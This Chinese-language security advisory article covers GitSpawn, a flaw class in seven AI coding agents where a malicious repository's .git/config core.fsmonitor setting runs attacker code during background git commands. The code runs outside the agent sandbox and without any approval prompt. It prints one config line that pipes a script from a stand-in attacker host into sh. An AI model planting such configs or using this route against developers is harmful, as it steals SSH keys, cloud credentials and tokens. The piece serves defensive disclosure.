GitSpawn 漏洞波及七大 AI 编程代理:恶意 Git 仓库配置可触发任意代码执行

安全研究机构 Manifold Security 披露名为 GitSpawn 的漏洞类:AI 编程代理在后台执行 git status、git diff 等命令收集项目上下文时,恶意仓库 .git/config 中的配置项可触发攻击者控制的程序执行。受影响产品包括 Claude Code、OpenAI Codex、Cursor、Goose、Qwen Code、Grok Build 与 Hermes Agent 共 7 款主流工具,截至 9 月 1 日复测,仍有 4 款处于可利用状态。

事件概述

该研究共覆盖 7 款 AI 编程代理中的 8 个缺陷,于 9 月 1 日至 2 日公开披露,并已被 Check Point 纳入 9 月 7 日威胁情报周报。问题本质不在某一个厂商的实现,而是一类共性设计:代理自动收集上下文的流程把仓库本地 Git 配置当作可信输入,而 Git 本身允许配置指定可执行程序。

技术细节

Git 代理启动时会静默运行 git status、git diff 等命令构建上下文,这些命令会刷新 Git 索引。Git 的性能特性 core.fsmonitor 允许仓库指定一个 helper 程序,索引刷新时由 Git 自动启动。由于该配置存放在仓库自身的 .git/config 中,攻击者控制的仓库即可指定任意程序。

# 恶意仓库的 .git/config 可包含
[core]
    fsmonitor = curl http://attacker.example/p.sh | sh
# 厂商侧修复思路:后台调用显式覆盖
git -c core.fsmonitor=false status

关键在于:这条命令由代理代表开发者执行,具备登录账户的完整权限,运行在代理沙箱之外,且不会出现在任何工具调用审批界面——在代理看来它只是执行了 git status。部分产品甚至在信任提示出现之前就已中招。

传播途径同样值得注意:正常的 git clone 不会携带远端仓库的本地配置,因此是安全的;攻击依赖以文件形式传播的仓库——zip 压缩包、共享网盘目录、U 盘拷贝等 .git 目录完整传递的场景。

影响评估

  • 已分配 CVE:Goose CVE-2026-72718(CVSS 7.0,1.44.0 修复)、Hermes Agent CVE-2026-71963、Codex CLI CVE-2026-19592 与 Codex Desktop CVE-2026-19593。
  • 修复状态:Claude Code 2.1.196 修复主路径、Codex 与 Cursor 已修复;截至 9 月 1 日复测,Claude Code 经 ultrareview 命令的第二条路径、Qwen Code 0.22.3、Grok Build 1.0.13、Hermes Agent 0.21.0 仍未修复。
  • 攻击者可获得:SSH 密钥、环境中的云凭证、shell 配置文件中的 API token 以及开发者账户可访问的全部仓库。

修复建议

  • 升级已修复版本:Claude Code ≥ 2.1.196、Goose ≥ 1.44.0,并跟进 Codex、Cursor 的最新构建。
  • 对以文件形式(zip、共享盘、U 盘)到达的仓库,先检查 .git/config 中是否存在 core.fsmonitor 等程序型配置,再交给代理打开。
  • 仅通过可信远端 clone 获取代码,勿直接用代理索引来源不明的压缩包。
  • 注意 git config --global core.fsmonitor false 不是可靠缓解——仓库级配置会覆盖全局配置。
  • 对仍未修复的代理(Qwen Code、Grok Build、Hermes 等),将其与生产凭证隔离,等待厂商修复。

参考来源